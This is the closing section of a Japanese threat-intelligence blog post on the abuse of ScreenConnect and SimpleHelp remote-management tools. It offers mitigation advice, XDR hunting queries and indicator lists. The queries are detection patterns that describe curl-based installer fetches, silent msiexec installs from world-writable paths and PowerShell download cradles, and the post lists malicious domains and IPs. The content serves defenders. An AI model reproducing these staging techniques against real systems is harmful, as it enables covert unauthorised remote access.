- 既知の悪用パターンをブロックする: 当社が確認した一般的な ScreenConnect のステージングパターン（?e=Access&y=Guest および /Bin/ パス）が、承認されていないインスタンス上で現れた場合に備え、URL フィルタリングを実装してください。
- 管理ツール向けのネットワークセグメンテーションを実装する: RMM ソフトウェアは、指定された管理用ワークステーションから特定の内部システムへのみ接続できるようにし、一般ユーザ端末から外部リレーへ接続させないでください。
- メールセンサーのテレメトリを TrendAI Vision One™ に取り込む。 これらの侵入は、インストーラが実行される前の、おとりリンクの時点で阻止されました。この可視性がなければ、最初に見えるのはエンドポイントアラートであり、その時点ではすでにインストールが完了しています。
TrendAI Vision One™ Threat Intelligence Hub
TrendAI Vision One™ Threat Intelligence Hub は、新たに出現する脅威や攻撃者に関する最新の知見、TrendAI™ Research による限定の戦略レポート、そして TrendAI Vision One™ プラットフォーム内の TrendAI Vision One™ Threat Intelligence Feed を提供します。
Emerging Threats:ScreenConnect RMM Abused for Covert Access（ScreenConnect RMM が秘匿アクセスに悪用）
TrendAI Vision One™ Intelligence Reports (IOC sweeping)
ScreenConnect RMM Abused for Covert Access（ScreenConnect RMM が秘匿アクセスに悪用）
TrendAI Vision One™ のお客様は、この活動に関連する侵入の痕跡（IoC）を取得し、自組織環境全体に対する遡及的なスイーピングに活用できます。
TrendAI Vision One™ XDR Data Explorer App
TrendAI Vision One™ を利用しているお客様は、XDR Data Explorer App を使用して、このブログ記事で扱った悪性インジケータを自社環境内のデータと照合し、ハンティングに活用できます。
LOLBIN fetch - cmd.exe が起動した curl.exe による ScreenConnect インストーラの取得
Purpose: cmd.exe が curl.exe（信頼された署名付き Windows LOLBIN）を起動してインストーラを取得する動作を検出します。ドラフト中の isinfo[.]top の事例に対応し、貼り付け実行／ClickFix 型コマンドと整合します。
parentFilePath:cmd.exe AND objectFilePath:curl.exe
AND objectCmd:("ScreenConnect" AND ".msi")非ベンダードメインからの ScreenConnect インストーラのブラウザ／プロセスダウンロード
*Purpose: check.ufozz[.]vu / speciameemenow[.]de / dnsml[.]vu の各事例を一般化したものです。ScreenConnect の名称を持つインストーラがディスクへ書き込まれ、同時にエンドポイントの最近のネットワークアクティビティに .screenconnect.com ではないホストが現れる場合を検出します。*
eventSubId:603 AND objectFilePath:"ScreenConnect" AND NOT request:screenconnect.com
ScreenConnect の無人サイレント MSI インストール
Purpose: 実行されたすべての事例で使われた中核的なインストールフィンガープリントです。ワールドライト可能なパスにステージングされた MSI に対し、完全サイレントオプション付きで msiexec が起動される動作を検出します。
objectFilePath:msiexec.exeAND objectCmd:("/qn"
AND "/norestart")
AND objectCmd:("*\\Users\\Public\\*" OR "*\\Windows\\Temp\\*" OR
"*SystemTemp\\ScreenConnect*")RMM chaining - SimpleHelp が PowerShell の MSI ダウンロードクレードルを起動
Purpose: 署名付き RMM ツール 1 つ（SimpleHelp の Remote Access.exe）が、別のツール（ScreenConnect）を PowerShell のダウンロードクレードル経由で展開し、C:\Users\Public\ に書き込んでから msiexec をサイレント実行する動作を検出します。ドラフト中で最も深刻だった事例です。
parentFilePath:"*\\JWrapper-Remote Access\\JWrapper-Windows64JRE-*\\bin\\Remote Access*.exe" AND objectFilePath:powershell.exe AND objectCmd:(DownloadData OR Invoke-WebRequest OR WebClient)
既知の ScreenConnect／SimpleHelp 悪用インフラ（文書化済み IoC）
Purpose: このキャンペーンとともに公開したドメイン／IP に対する単純明快な IoC マッチです。
dst:(86.106.143.249 OR 144.126.149.104 OR 37.221.64.227 OR 161.97.166.38OR 198.23.185.231 OR 154.53.50.197 OR 158.94.210.26 OR 164.68.120.30 OR 185.196.10.48) OR request:(check.ufozz.vu OR speciameemenow.de OR edocs.com OR isinfo.top OR invoice4u-pdf.com OR supoort-pdf.com OR files.manuscdn.com OR rovider.net OR morco.rovider.net OR gaza.rovider.net OR lightc.rovider.net OR infososso.com OR usapdfa.com OR social-vpdf.com OR soka-nline.com OR ispolic.com OR dnsro.vu OR xervian.vu OR kernico.vu OR vavun.vu OR sdkci.vu OR dnsma.vu OR dnsml.vu OR balenaetcher.co OR start-download.duckdns.org OR update.tap-vpns.top)
Threat Intelligence Hub の権限が有効な TrendAI Vision One™ のお客様には、さらに多くのハンティングクエリが提供されています。
MITRE ATT&CK の技法
侵入の痕跡（IoC: Indicators Of Compromise）
TrendAI Vision One™ は、このブログで説明した侵入の痕跡（IOC）を検出してブロックし、お客様に合わせた脅威ハンティングクエリ、脅威インサイト、インテリジェンスレポートを提供します。関連する脅威インテリジェンスとハンティングリソースは以下で確認できます。
ファイル IoC
ネットワーク IoC
参考記事：
Living Off Trusted Software: ScreenConnect Abuse Across Phishing, Search, and RMM Chains
By: Buddy Tancio , Allixon Kristoffer Francisco , Fe Cureg , Aira Marcelo , Angelie Ira
翻訳：与那城 務（Platform Marketing, Trend Micro™ Research）